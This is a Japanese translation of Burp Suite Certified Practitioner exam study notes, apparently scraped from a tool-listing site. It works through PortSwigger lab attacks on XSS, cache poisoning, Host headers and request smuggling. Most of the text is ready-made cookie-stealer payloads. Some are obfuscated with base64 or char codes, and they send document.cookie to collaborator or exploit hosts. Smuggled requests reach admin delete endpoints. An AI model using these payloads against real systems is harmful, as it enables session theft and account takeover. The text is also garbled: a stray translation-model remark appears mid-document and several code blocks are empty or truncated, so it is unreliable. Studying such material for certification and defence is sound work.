>帯域外 XInclude リクエスト。ローカルファイルを読み取るには、ホストされた DTD が必要です。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

>キー文字をURLエンコードします。  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>管理者ユーザーのクッキーを現在のブラウザセッション内で置き換えて、管理パネルにアクセスします。  

[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# 足がかり  
  
# コンテンツ発見  

>ターゲットの列挙は、Webディレクトリとファイルのファジングから始まります。Burpエンゲージメントツールのコンテンツディスカバリーオプションを使用して隠しパスやファイルを見つけるか、`FFUF`を使用してWebディレクトリとファイルを列挙します。`robots.txt`や`sitemap.xml`を確認すると、コンテンツが明らかになる場合があります。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger ラボ: バージョン管理履歴における情報漏えい](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>常に `source code` を開いて、隠しファイルやパスを明らかにする開発者コメントがないか確認すること。下記の例は [Symphony トークンのデシリアライゼーション](#deserialization) につながる。  

![DEV コードのデバッグコメント（デシリアライゼーション）](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## DOMベースのXSS  

[DOM XSS の兆候](#identify-dom-xss)  
[DOM Invader で特定した DOM XSS](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[DOM XSS select 内の document.write](#doc-write-location-search)  
[DOM XSS JSON.parse Web メッセージ](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads メッセージ](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval で反映される Cookie スティーラー](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### DOM-XSS の特定  

>DOM ベースの XSS 脆弱性は、JavaScript が攻撃者が制御可能なソース（URL など）からデータを取得し、動的コード実行をサポートするシンクにコードを渡すときに発生します。  
>以下のファザー文字列を使って、`source code` インジェクションポイントからエスケープできる文字をテストしてください。```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

>[Cookieスティーラーのペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) は `on.constructor` を使用し、iframe 内に配置してエクスプロイトサーバーでホストすることで、被害者のセッション Cookie が Burp Collaborator に送信される結果となります。  
>[クロスサイトスクリプティングの参照用 PortSwigger チートシート](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [Cookie窃取ペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)は、`<select>` 要素内のソース `location.search` を使用する `document.write` シンク内にあります。これは `

![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger Lab: Web メッセージと JSON.parse を使用した DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader を使用して、Web メッセージを使用した DOM XSS の特定とテストを実施

![DOM Invader が Web メッセージを特定](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>JSON データを変更した後、DOM Invader を使用して postMessage をリプレイします。```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

被害者のCookieが更新されると、Exploitサーバーログがその秘密のCookie値を取得します。  

>***ShehmeerAbidRajput*** の多大な助けにより、彼が提供してくれたcookie stealerペイロードでこのラボを更新しました。  

[PortSwigger ラボ: DOMベースのCookie操作](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## クロスサイトスクリプティング  

[XSS リソース](#xss-resources)  
[許可されたタグの特定](#identify-allowed-tags)  
[ブロックされたタグのバイパス](#bypass-blocked-tags)  
[XSS プロトコル割り当て](#xss-assign-protocol)  
[ブロックされないカスタムタグ](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[リフレクション文字列 XSS](#reflected-string-xss)  
[リフレクション文字列の追加エスケープ](#reflected-string-extra-escape)  
[AngularJS サンドボックス脱出](#angularjs-sandbox-escape)  
[XSS テンプレートリテラル](#xss-template-literal)  
[JSON 経由の EVAL への XSS](#xss-via-json-into-eval)  
[格納型 XSS](#stored-xss)  
[格納型 DOM XSS](#stored-dom-xss)  
[SVG アップロードでの XSS](#xss-svg-upload)  
  
### XSS リソース  

>**タグ**と**イベント**のペイロードを検索するための XSS リソースページ。   

+ [Cross-site scripting (XSS) cheat sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS Study notes on XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>CSP Evaluator は、XSS 攻撃を緩和するためにコンテンツセキュリティポリシーが設定されているかを確認するためのツールです。例えば、`base-uri` が欠落している場合、この脆弱性により攻撃者は [格納型セルフXSSのアップグレード](#upgrade-stored-self-xss) で説明されている代替の悪用手法を使用できるようになります。  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>入力フィールドの最大長がわずか23文字の場合、**Tiny XSS Payloads** にはこのリソースを使用してください。  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>POC XSS [cookie stealer payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) のテスト中に使用するため、ブラウザのDEVツールコンソールを使用してブラウザに保護されていないテスト用Cookieを設定します。```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

".

Since there's no actual content provided to translate, I should not makе up content. The correct action is to return nothing or indicate empty input. But per rules, I shouldn't add commentary. However, with no input, the safest response is empty.

Actually, let me double-check - the content between "INPUT:" and the end is just whitespace. So there's nothing to translate. I'll return an empty response.```html
"><svg><animatetransform onbegin=alert(1)>

>上記のペイロードを送信すると、Web Application Firewall（WAF）がインジェクションをブロックするため、***"Tag is not allowed"*** という応答メッセージが返される場合があります。
>次に、[PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) を使用して、許可されたタグを ***特定*** します。  

>URLおよびBase64のオンラインエンコーダーとデコーダー  

+ [URLデコードとエンコード](https://www.urldecoder.org/)  
+ [BASE64デコードとエンコード](https://www.base64encode.org/)  
  
>このラボは、POC XSSを作成するために許可されたHTMLタグとイベントを ***特定*** するための優れた **方法論** を提供します。  

>エクスプロイトサーバーに **iframe** コードをホストし、エクスプロイトリンクを被害者に配信します。```html

>上記のペイロードをエクスプロイトサーバーに配置し、以下のコードブロック内で被害者に配信する前に、検索値を含むURLを```iframe```に挿入してください。```html

![XSS protocol location](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: エンコードされていないHTMLコンテキスト内の反射型XSS](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### カスタムタグはブロックされない  
  
>XSSペイロードを挿入しようとすると、アプリケーションはメッセージ ***"タグは許可されていません"*** で応答しますが、カスタムタグを作成するとバイパスされます。```html
<xss+id=x>#x';

>**注:** ID ```x``` を持つカスタムタグには、```document.location``` 関数をトリガーする **onfocus** イベントハンドラが含まれています。URL 末尾の **ハッシュ** `#` 文字は、ページが読み込まれるとすぐにこの要素にフォーカスを当て、ペイロードが呼び出されるようにします。ペイロードスクリプトをエクスプロイトサーバーの ```script``` タグ内にホストし、被害者に送信します。以下は同じペイロードですが、**URLエンコード** された形式です。```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

>注: **HttpOnly** フラグが有効に設定された Cookie は、XSS を使用して盗むことはできません。  
>PortSwigger Lab のペイロードは print を実行します。```JavaScript

>ペイロードを、セッショントークンをBurp Collaboratorへ送信するCookie窃取ツールに変更する。```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

>検索語が反映される脆弱性をホストするエクスプロイトサーバー。被害者に送信することでセッションクッキーを取得する。```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

>単一の**バックスラッシュ**、シングルクォートおよび**セミコロン**を使用してJavaScript文字列変数からエスケープし、次にバッククォートを使用して```document.location```パスを囲むことで、クッキースティーラーがアプリケーション保護をバイパスできるようにします。```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

>Collaborator ペイロード ***Cookie スティーラー***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

>任意のペイロードをASCIII 10進数値に変換するPythonスクリプト:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>***Adrián Gyurácz*** 氏に感謝します。このラボのすべてのフィルタを回避する動作するクッキースティーラーのバイパスを入手できずにいた私に、素晴らしいバイパスを提供してくれました。  

>***Adrián Gyurácz*** 氏は、解決につながる以下のPortswiggerの調査記事を見つけました：  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### 上記を基にした彼のペイロード：```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

[secjuice: JavaScriptのグローバル変数を使用してXSSフィルタをバイパスする](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>以下は、BASE 64エンコード前のメインの[cookie stealerペイロード](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md)です。```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

>Search機能で自分のセッションCookieにペイロードをテストします。```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

>エクスプロイトサーバーで `IFRAME` をホストすると、ターゲットへの接続を拒否する **エラー** メッセージが表示されます。代わりに、ペイロードを `<script>` タグの間にエクスプロイトサーバーでホストしてください。```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

>以下のログエントリは、エクスプロイトサーバーに対して行われたリクエストを示しています。ログから、上記のタグのうち `/img` と `/video` がアプリケーションで許可されており、アクセスされた際にリクエストが行われたことを***特定***できます。  

![Identify-stored-xss](https://assets.kitploit.com/production/public/readmes/51008/11465fd7f8106f2ba51ed5df21cfb6261aa41adc5f058ddfe98cb9e5b27862a9/1f1db7d901a945e9ac1d5a76beea620fcc1e4c0bf8c923b085aab3d631f1191d-display-v1.webp)  

>ブログ投稿のコメントに保存されたクロスサイトスクリプティング。このCookie窃取ペイロードは、被害者のセッションCookieをエクスプロイトサーバーのログに送信します。```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/main/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">

#### 保存型XSSブログ投稿

>保存型XSSブログ投稿のCookie窃取ツールで、document.cookieをエクスプロイトサーバーに送信します。```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>

>[HackTheBox Bookwormを使用したIPPSEC YouTube](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737)では、`payload.js` JavaScriptコードが紹介されており、彼が`fetch`をどのように使用し、JavaScriptを学習しているかが示されています。

[PortSwigger Lab: クロスサイトスクリプティングを悪用してCookieを盗む](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)  
  
#### 保存型セルフXSSのアップグレード  

>**保存型セルフXSS**を含むブログコメント。ペイロードをアップグレードして、DOMから被害者の情報を盗みます。**edit content**関数は`<script>`タグ内の入力を反映します。**write comment**のCSRFトークンは**edit content**関数と同じです。以下のペイロードは**write comment**関数を使用して、被害者に自分のブログへ悪意のあるコンテンツを含むブログエントリを作成させます。
>`a`文字は、初期アプリケーション`source code`の`#`ハッシュ文字をエスケープするために追加されます。
>ブログエントリ内の以下の`source code`は、被害者の情報を盗むための完全なエクスプロイトです。```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>

>上記のブログエントリを参照するURLを被害者に送信することでエクスプロイトを配信し、被害者としてXSSをトリガーします。  

[intigriti - Self-XSSアップグレード - 2022年12月XSSチャレンジの解法](https://youtu.be/FowbZ8IlU7o)  

>Edit ContentブログエントリページでのHTMLインジェクションを利用した代替エクスプロイト、[XSS Resources CSPチェック](#xss-resources)を使用して***特定***。```
<base href="https://Exploit.net">

>修正されたPortSwiggerラボのペイロードは、次回ページが読み込まれるときに `document.location` 関数を変数 `defaultAvatar` に割り当てます。これは、サイトがDOMPurifyを使用しており、`cid:` プロトコルの使用を許可しているためです。`cid:` プロトコルは二重引用符をURLエンコードしません。```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">

>上記のペイロードが保存され、コメントブログを訪れたユーザーは、セッションCookieが盗まれて Collaborator に送信される結果となります。  

![保存型DOM-XSS JSONコメント](https://assets.kitploit.com/production/public/readmes/51008/371b3f9b43395a29db586e69d4de40acaf72b5b61a5389f8f86ae0110842d7e1/23d98eeda75f19599e87390856bc196ee3f430e6cb7de27b7a37889d816d3c08-display-v1.webp)  

>PortSwigger Lab のペイロード: `<>`.  

[PortSwigger Lab: 保存型DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)  
  
-----

## Webキャッシュポイズニング  

[キーなしヘッダー](#unkeyed-header)  
[キーなしの Utm_content](#unkeyed-utm_content)  
[utm_content のクローキング](#cloaking-utm_content)  
[曖昧なリクエストのポイズニング](#poison-ambiguous-request)  
[複数ヘッダーによるキャッシュポイズニング](#cache-poison-multiple-headers)  

### キーなしヘッダー  

>対象は **tracking.js** というJavaScriptを使用しており、  
>**```X-Forwarded-Host```** または **```X-Host```** ヘッダーがパスをリダイレクトするという脆弱性があり、  
>キャッシュをポイズニングすることでCookieを盗むことができます。  

>***特定する:*** レスポンス内のWebキャッシュヘッダーと、ページのソースコード内のtracking.jsスクリプトを確認します。  
>JavaScriptをホストし、ヘッダーを注入して対象のキャッシュをポイズニングし、訪問する被害者をリダイレクトさせることで、この脆弱性を悪用します。  

![トラッキング `ソースコード` のレビュー](https://assets.kitploit.com/production/public/readmes/51008/576da9fd34237353a8d7695b97b4041c9168065b412a2334263ee1e6f2962d31/f6581f37b35c2e92a43a634c6e073da64d1a622c35e84f844bc9ca4a5a77b028-display-v1.webp)```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

![exploit host tracking.js](https://assets.kitploit.com/production/public/readmes/51008/e84959203a80dc57141ea8ed26bb61337cfd29f5031069f68dce90f4baab3c72/9821e2ae37bc5b3fd487178962b5fc9c480b7c3fa8b2771c42952eaeee9999b2-display-v1.webp)  
  
>本文はセッションCookieをコラボレーションサービスに送信します。```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;

>上記のペイロードはキャッシュされ、被害者が訪問するとターゲットのCookieがBurp Collaboratorに送信されます。  

![cache-collaborator.png](https://assets.kitploit.com/production/public/readmes/51008/e7510b596e4ed186603414d130d0375fc1342f92dace8cea3190a2008ccac2ef/34ccca95d585ad78a9688d7aea1d22a784fb3714c4f4cf000d428abf9f2d6810-display-v1.webp)  

[PortSwigger Lab: キーなしクエリパラメータによるWebキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)  

### utm_contentのクローキング  

>Param Miner拡張機能で`Bulk scan > Rails parameter cloaking scan`を実行すると、脆弱性を自動的に***識別***します。手動では、`;`を追加して`utm_content`に別のパラメータを付加することで識別できます。キャッシュはこれを単一のパラメータとして扱います。つまり、追加のパラメータもキャッシュキーから除外されます。  
>`/js/geolocate.js?callback=setCountryCookie`の`ソースコード`はすべてのページで呼び出され、コールバック関数を実行します。  

>`callback`パラメータはキー付きであるため、被害者ユーザーのキャッシュをポイズニングすることはできません。しかし、重複したパラメータを`utm_content`と組み合わせると、それは除外され、キャッシュをポイズニングできるようになります。```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

>以下は [Url Decoded](https://www.urldecoder.org/) ペイロードです。```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2

>エクスプロイトサーバー上で、ターゲットが呼び出す ```/resources/js/tracking.js``` と同じパスにファイルを配置します。これにはペイロードが含まれます。クッキースティーラーを実行するために、以下のJavaScriptペイロードコードを配置してください。```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

![x-forwarded-scheme が https ではない](https://assets.kitploit.com/production/public/readmes/51008/6308ae06f8ce9ba48fa18b411594c8167f6ef048396812940710574b4ca08e92/6584ce6158a913edd0f321d0f2bb297fcf620a934c1851ca398cd3967b0658af-display-v1.webp)  

>エクスプロイトサーバー上で、ファイルパスを ```/resources/js/tracking.js``` に変更します  
>そして、ポイズンリクエストの ```X-Forwarded-Host: EXPLOIT.net``` ヘッダーを更新します。  
>ペイロードをエクスプロイトサーバーのボディに配置します。```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;

>応答内で重複したコールバックパラメータを渡すことによって呼び出される関数が反映されます。応答では、キャッシュキーが依然としてGETリクエストラインの元のコールバックパラメータから導出されることに注意してください。  

![fat-get-request](https://assets.kitploit.com/production/public/readmes/51008/7f9468b57a1367f83a2dc7a3b2eba41537c5b8ce237e3e298b0f296c77fd2c48/cde14e3ec33e74e482c7f19fb227218fbaf8ff632551a4f3f37021b99875aa7f-display-v1.webp)  

>クッキースティーラーのペイロードを機能させることができませんでした......  

[PortSwigger Lab: fat GETリクエストによるWebキャッシュポイズニング](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)  
  
-----

## ホストヘッダー  

[IPアドレスのなりすまし](#spoof-ip-address)  
[HOST接続状態](#host-connection-state)  
[ホストルーティングベースのSSRF](#host-routing-based-ssrf)  
[不正確なHostリクエスト解析によるSSRF](#absolute-get-url--host-ssrf)  

### IPアドレスのなりすまし  

>変更されたHOSTヘッダーがサポートされていることを***特定***します。これにより、IPアドレスを偽装してIPベースのブルートフォース保護を回避したり、***パスワードリセット***のポイズニングを行うためのリダイレクト攻撃を実行したりできます。  
  
>以下の`X- `ヘッダーを含め、リクエストを送信する前にパスワードリセットリクエストのusernameパラメータを`Carlos`に変更します。  
>BSCP試験でこのエクスプロイトを使用した場合、それはユーザー操作を必要とする脆弱性を使用しておらず、エクスプロイトサーバーの`Deliver exploit to victim`機能を使用して管理者としてステージ3にアクセスするためのインタラクション脆弱性を利用していないことを意味します。```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net

>次のリクエストは、リクエストのグループシーケンス内の2番目のタブです。```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53

csrf=TheCSRFTokenValue&username=carlos

>`Transfer-Encoding` ヘッダーをサポートしている一部のサーバーは、ヘッダーが何らかの方法で**難読化**されている場合、それを処理しないように誘導される可能性があります。

>Repeater メニューで、**"Update Content-Length"** オプションがチェックされていないことを確認してください。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity

e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n  
\r\n
  

>TE.CL（Transfer-Encoding / Content-Length）のスマグリングリクエスト長を**16進数**で計算します。ペイロードは、16進数の長さ**71**と終端の**ZERO**の間に位置し、その長さにはZERO自体も、ZEROの直前の行にある`\r\n`も含まれません。最初のPOSTリクエストの**content-length**は手動で設定されます。  
  
![te.cl.multicase-smuggle.png](https://assets.kitploit.com/production/public/readmes/51008/1ba4fcdba70b77eb05e5b842e9ccb5f0e6186fd825b79abf19162bd48c9a2ac4/15d1da97f267f46bc4705095cdb83f12de63d795dda71ebcf1964a4fb5b59c3c-display-v1.webp)  

>ユーザーを削除するために`/admin/delete?username=carlos`を送信する場合、転送エンコーディングの16進数の長さは、追加のスマグリングリクエストサイズを含めるために`71`から`88`の16進値に変更されます。  

[PortSwigger Lab: フロントエンドのセキュリティ制御をバイパスするためのHTTPリクエストスマグリングの悪用、TE.CL脆弱性](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)  

### CL.TE multiCase - 管理者ブロック  

>`/admin`ポータルのURLパスにアクセスしようとすると、フィルタメッセージ`Path /admin is blocked`が表示されます。HTTP Request Smugglerスキャナは、この脆弱性を`CL.TE multiCase (delayed response)`として***識別***します。  

>adminパネルにアクセスするには、以下のリクエストを2回送信し、2番目のヘッダーに```Content-Length: 10```を追加して、HOSTヘッダーが最初のリクエストと競合するのを防ぎます。```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked

0

GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=

![Exploiting HTTP request smuggling with content-length value](https://assets.kitploit.com/production/public/readmes/51008/4c173fff1dc7b0ef15f53dfcdcf0f0ad0b926b458a9ab2b0790631732ff10a69/954092c78d1a623e56e178135eed6d20e3c629219cd2847ad95427033e176864-display-v1.webp)  

>上記^^のスモグリングされたPOSTリクエストの末尾には改行がありません。  

>ブログの**投稿**を表示して、ユーザーのリクエストを含むコメントがあるかどうかを確認します。被害者ユーザーが対象ウェブサイトを閲覧すると、そのとき初めて攻撃が成功することに注意してください。ブログの投稿コメントからユーザーのCookieヘッダーをコピーし、そのCookieを使用して被害者のアカウントにアクセスします。  
  
![Exploiting HTTP request smuggling to capture other users' requests](https://assets.kitploit.com/production/public/readmes/51008/a76ea75a6471c18cf2a96c528f30299762c0ba13f596e03107aa271b3a525cf9/d96547811438a4b12f2e03a9ddd7d8bb68c03ad2960e435fad558344629bd3d8-display-v1.webp)  

[PortSwigger Lab: HTTPリクエストスモグリングを悪用して他のユーザーのリクエストを取得する](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)  
  
### CL.TE multiCase - User-Agent Cookieスティーラー  
  
>***特定***: UserAgent値は、ブログのコメントフォームを読み込むGETリクエストに保存され、**User-Agent**のhidden値にも保存されています。HTTPリクエストスモグリングを悪用して、スモグリングされたリクエスト内に配置された**User-Agent**値を使用した反射型XSSを配信します。  

>HTMLドキュメントからエスケープする基本的なクロスサイトスクリプティング（XSS）ペイロード。```JavaScript
 "/><script>alert(1)</script>

>このXSSリクエストをバックエンドサーバーに密輸し、次の訪問者を攻撃できるようにしてください。XSS Cookieスティーラーを**User-Agent**ヘッダーに配置してください。```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

0

GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

![http2 smuggle via crlf inject](https://assets.kitploit.com/production/public/readmes/51008/09b24f9c67e89369995ebe8a45b621e5f8efe9ad325002fcbf91a1c690c6710f/2df373fd39cb8a7997450db0a8d6f81786ff41fde6792560ac25fa1763928bd3-display-v1.webp)  
  
[PortSwigger Lab: HTTP/2 リクエスト・スムグラング（CRLFインジェクション経由）](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)  
  
[Youtubeデモ：HTTP/2 リクエスト・スムグラング（CRLFインジェクション経由）](https://youtu.be/E-bnCGzl7Rk)  

### HTTP/2 TE desync v10a h2path

>フロントエンドサーバーがあいまいな長さのHTTP/2リクエストであってもダウングレードするため、ターゲットはリクエストスムグラングに対して脆弱です。ターゲットを訪問する管理者のセッションCookieを窃取します。Burp拡張機能の **HTTP Request Smuggler** は、この脆弱性をHTTP/2 TE desync v10a（H2.TE）脆弱性として ***特定*** します。  

![HTTP/2 TE desync v10a h2path](https://assets.kitploit.com/production/public/readmes/51008/70cfa490497638cb3fa016779d8ee60933280c3d274c41abf3cabae051c9eba5/c89d21494e43c3a2be73ddd689ad5123005e682ab6be423d1914927d95a80f79-display-v1.webp)  

